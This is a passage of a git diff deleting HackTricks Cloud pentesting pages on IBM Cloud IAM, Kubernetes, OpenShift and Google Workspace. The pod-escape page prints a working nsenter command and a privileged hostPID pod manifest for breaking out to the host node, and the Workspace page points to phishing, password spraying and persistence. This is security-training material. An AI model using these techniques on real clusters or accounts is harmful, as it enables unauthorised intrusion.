-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### What is IBM cloud? (By chatGPT)
-
-IBM Cloud, a cloud computing platform by IBM, offers a variety of cloud services such as infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). It enables clients to deploy and manage applications, handle data storage and analysis, and operate virtual machines in the cloud.
-
-When compared with Amazon Web Services (AWS), IBM Cloud showcases certain distinct features and approaches:
-
-1. **Focus**: IBM Cloud primarily caters to enterprise clients, providing a suite of services designed for their specific needs, including enhanced security and compliance measures. In contrast, AWS presents a broad spectrum of cloud services for a diverse clientele.
-2. **Hybrid Cloud Solutions**: Both IBM Cloud and AWS offer hybrid cloud services, allowing integration of on-premises infrastructure with their cloud services. However, the methodology and services provided by each differ.
-3. **Artificial Intelligence and Machine Learning (AI & ML)**: IBM Cloud is particularly noted for its extensive and integrated services in AI and ML. AWS also offers AI and ML services, but IBM's solutions are considered more comprehensive and deeply embedded within its cloud platform.
-4. **Industry-Specific Solutions**: IBM Cloud is recognized for its focus on particular industries like financial services, healthcare, and government, offering bespoke solutions. AWS caters to a wide array of industries but might not have the same depth in industry-specific solutions as IBM Cloud.
-
-#### Basic Information
-
-For some basic information about IAM and hierarchi check:
-
-{% content-ref url="ibm-basic-information.md" %}
-[ibm-basic-information.md](ibm-basic-information.md)
-{% endcontent-ref %}
-
-### SSRF
-
-Learn how you can access the medata endpoint of IBM in the following page:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#2af0" %}
-
-## References
-
-* [https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/#:\~:text=IBM%20Cloud%20is%3A,%2C%20networking%2C%20and%20database%20management.](https://redresscompliance.com/navigating-the-ibm-cloud-a-comprehensive-overview/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md b/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md
deleted file mode 100644
index 034d4fa02..000000000
--- a/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# IBM - Basic Information
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Hierarchy
-
-IBM Cloud resource model ([from the docs](https://www.ibm.com/blog/announcement/introducing-ibm-cloud-enterprises/)):
-
-<figure><img src="../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
-
-Recommended way to divide projects:
-
-<figure><img src="../../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
-
-## IAM
-
-<figure><img src="../../.gitbook/assets/image (266).png" alt=""><figcaption></figcaption></figure>
-
-### Users
-
-Users have an **email** assigned to them. They can access the **IBM console** and also **generate API keys** to use their permissions programatically.\
-**Permissions** can be granted **directly** to the user with an access policy or via an **access group**.
-
-### Trusted Profiles
-
-These are **like the Roles of AWS** or service accounts from GCP. It's possible to **assign them to VM** instances and access their **credentials via metadata**, or even **allow Identity Providers** to use them in order to authenticate users from external platforms.\
-**Permissions** can be granted **directly** to the trusted profile with an access policy or via an **access group**.
-
-### Service IDs
-
-This is another option to allow applications to **interact with IBM cloud** and perform actions. In this case, instead of assign it to a VM or Identity Provider an **API Key can be used** to interact with IBM in a **programatic** way.\
-**Permissions** can be granted **directly** to the service id with an access policy or via an **access group**.
-
-### Identity Providers
-
-External **Identity Providers** can be configured to **access IBM cloud** resources from external platforms by accessing **trusting Trusted Profiles**.
-
-### Access Groups
-
-In the same access group **several users, trusted profiles & service ids** can be present. Each principal in the access group will **inherit the access group permissions**.\
-**Permissions** can be granted **directly** to the trusted profile with an access policy.\
-An **access group cannot be a member** of another access group.
-
-### Roles
-
-A role is a **set of granular permissions**. **A role** is dedicated to **a service**, meaning that it will only contain permissions of that service.\
-**Each service** of IAM will already have some **possible roles** to choose from to **grant a principal access to that service**: **Viewer, Operator, Editor, Administrator** (although there could be more).
-
-Role permissions are given via access policies to principals, so if you need to give for example a **combination of permissions** of a service of **Viewer** and **Administrator**, instead of giving those 2 (and overprivilege a principal), you can **create a new role** for the service and give that new role the **granular permissions you need**.
-
-### Access Policies
-
-Access policies allows to **attach 1 or more roles of 1 service to 1 principal**.\
-When creating the policy you need to choose:
-
-* The **service** where permissions will be granted
-* **Affected resources**
-* Service & Platform **access** that will be granted
-  * These indicate the **permissions** that will be given to the principal to perform actions. If any **custom role** is created in the service you will also be able to choose it here.
-* **Conditions** (if any) to grant the permissions
-
-{% hint style="info" %}
-To grant access to several services to a user, you can generate several access policies
-{% endhint %}
-
-<figure><img src="../../.gitbook/assets/image (248).png" alt=""><figcaption></figcaption></figure>
-
-## References
-
-* [https://www.ibm.com/cloud/blog/announcements/introducing-ibm-cloud-enterprises](https://www.ibm.com/cloud/blog/announcements/introducing-ibm-cloud-enterprises)
-* [https://cloud.ibm.com/docs/account?topic=account-iamoverview](https://cloud.ibm.com/docs/account?topic=account-iamoverview)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/kubernetes-security/README.md b/pentesting-cloud/kubernetes-security/README.md
deleted file mode 100644
index c7b6d358f..000000000
--- a/pentesting-cloud/kubernetes-security/README.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# Kubernetes Pentesting
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Kubernetes Basics
-
-If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
-
-{% content-ref url="kubernetes-basics.md" %}
-[kubernetes-basics.md](kubernetes-basics.md)
-{% endcontent-ref %}
-
-### Labs to practice and learn
-
-* [https://securekubernetes.com/](https://securekubernetes.com)
-* [https://madhuakula.com/kubernetes-goat/index.html](https://madhuakula.com/kubernetes-goat/index.html)
-
-## Hardening Kubernetes / Automatic Tools
-
-{% content-ref url="kubernetes-hardening/" %}
-[kubernetes-hardening](kubernetes-hardening/)
-{% endcontent-ref %}
-
-## Manual Kubernetes Pentest
-
-### From the Outside
-
-There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
-
-Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
-
-{% content-ref url="pentesting-kubernetes-services/" %}
-[pentesting-kubernetes-services](pentesting-kubernetes-services/)
-{% endcontent-ref %}
-
-### Enumeration inside a Pod
-
-If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
-
-{% content-ref url="attacking-kubernetes-from-inside-a-pod.md" %}
-[attacking-kubernetes-from-inside-a-pod.md](attacking-kubernetes-from-inside-a-pod.md)
-{% endcontent-ref %}
-
-### Enumerating Kubernetes with Credentials
-
-You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
-
-{% content-ref url="kubernetes-enumeration.md" %}
-[kubernetes-enumeration.md](kubernetes-enumeration.md)
-{% endcontent-ref %}
-
-Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
-
-{% content-ref url="kubernetes-role-based-access-control-rbac.md" %}
-[kubernetes-role-based-access-control-rbac.md](kubernetes-role-based-access-control-rbac.md)
-{% endcontent-ref %}
-
-#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
-
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
-
-### Privesc to a different Namespace
-
-If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
-
-{% content-ref url="kubernetes-namespace-escalation.md" %}
-[kubernetes-namespace-escalation.md](kubernetes-namespace-escalation.md)
-{% endcontent-ref %}
-
-### From Kubernetes to the Cloud
-
-If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
-
-{% content-ref url="kubernetes-pivoting-to-clouds.md" %}
-[kubernetes-pivoting-to-clouds.md](kubernetes-pivoting-to-clouds.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md b/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
deleted file mode 100644
index f913d5ccf..000000000
--- a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# Pod Escape Privileges
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Privileged and hostPID
-
-With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
-Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
-
-Just executing something like the following will allow you to escape from the pod:
-
-```bash
-nsenter --target 1 --mount --uts --ipc --net --pid -- bash
-```
-
-Configuration example:
-
-```yaml
-apiVersion: v1
-kind: Pod
-metadata:
-  name: priv-and-hostpid-exec-pod
-  labels:
-    app: pentest
-spec:
-  hostPID: true
-  containers:
-  - name: priv-and-hostpid-pod
-    image: ubuntu
-    tty: true
-    securityContext:
-      privileged: true
-    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
-  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md b/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
deleted file mode 100644
index de5c06b84..000000000
--- a/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Kubernetes Namespace Escalation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
-
-Here are some techniques you can try to escape to a different namespace:
-
-### Abuse K8s privileges
-
-Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
-
-For more info about which privileges you can abuse read:
-
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
-
-### Escape to the node
-
-If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
-
-* Check for **SAs tokens mounted in other docker containers** running in the node
-* Check for new **kubeconfig files in the node with extra permissions** given to the node
-* If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
-
-All these techniques are explained in:
-
-{% content-ref url="attacking-kubernetes-from-inside-a-pod.md" %}
-[attacking-kubernetes-from-inside-a-pod.md](attacking-kubernetes-from-inside-a-pod.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/openshift-pentesting/README.md b/pentesting-cloud/openshift-pentesting/README.md
deleted file mode 100644
index 8be91bbad..000000000
--- a/pentesting-cloud/openshift-pentesting/README.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# OpenShift Pentesting
-
-## Basic Information
-
-{% content-ref url="openshift-basic-information.md" %}
-[openshift-basic-information.md](openshift-basic-information.md)
-{% endcontent-ref %}
-
-## Security Context Constraints
-
-{% content-ref url="openshift-scc.md" %}
-[openshift-scc.md](openshift-scc.md)
-{% endcontent-ref %}
-
-## Privilege Escalation
-
-{% content-ref url="openshift-privilege-escalation/" %}
-[openshift-privilege-escalation](openshift-privilege-escalation/)
-{% endcontent-ref %}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
deleted file mode 100644
index 7e5040e3f..000000000
--- a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# OpenShift - Privilege Escalation
-
-## Missing Service Account
-
-{% content-ref url="openshift-missing-service-account.md" %}
-[openshift-missing-service-account.md](openshift-missing-service-account.md)
-{% endcontent-ref %}
-
-## Tekton
-
-{% content-ref url="openshift-tekton.md" %}
-[openshift-tekton.md](openshift-tekton.md)
-{% endcontent-ref %}
-
-## SCC Bypass
-
-{% content-ref url="openshift-scc-bypass.md" %}
-[openshift-scc-bypass.md](openshift-scc-bypass.md)
-{% endcontent-ref %}
diff --git a/pentesting-cloud/workspace-security/README.md b/pentesting-cloud/workspace-security/README.md
deleted file mode 100644
index f974d179b..000000000
--- a/pentesting-cloud/workspace-security/README.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# GWS - Workspace Pentesting
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Entry Points
-
-### Google Platforms and OAuth Apps Phishing
-
-Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
-
-{% content-ref url="gws-google-platforms-phishing/" %}
-[gws-google-platforms-phishing](gws-google-platforms-phishing/)
-{% endcontent-ref %}
-
-### Password Spraying
-
-In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
-
-## Post-Exploitation
-
-If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
-
-{% content-ref url="gws-post-exploitation.md" %}
-[gws-post-exploitation.md](gws-post-exploitation.md)
-{% endcontent-ref %}
-
-### GWS <-->GCP Pivoting
-
-Read more about the different techniques to pivot between GWS and GCP in:
-
-{% content-ref url="../gcp-security/gcp-to-workspace-pivoting/" %}
-[gcp-to-workspace-pivoting](../gcp-security/gcp-to-workspace-pivoting/)
-{% endcontent-ref %}
-
-## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
-
-* **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
-* **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
-* **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
-
-{% content-ref url="gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/" %}
-[gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid](gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/)
-{% endcontent-ref %}
-
-## Persistence
-
-If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
-
-{% content-ref url="gws-persistence.md" %}
-[gws-persistence.md](gws-persistence.md)
-{% endcontent-ref %}
-
-## Account Compromised Recovery
-
-* Log out of all sessions
-* Change user password
-* Generate new 2FA backup codes
-* Remove App passwords
-* Remove OAuth apps
-* Remove 2FA devices
-* Remove email forwarders
-* Remove emails filters
-* Remove recovery email/phones
-* Removed malicious synced smartphones
-* Remove bad Android Apps
-* Remove bad account delegations
-
-## References
-
-* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
-* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md b/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md
deleted file mode 100644
index 09b6ffa5b..000000000
--- a/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md
+++ /dev/null
@@ -1,273 +0,0 @@
-# GWS - App Scripts
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
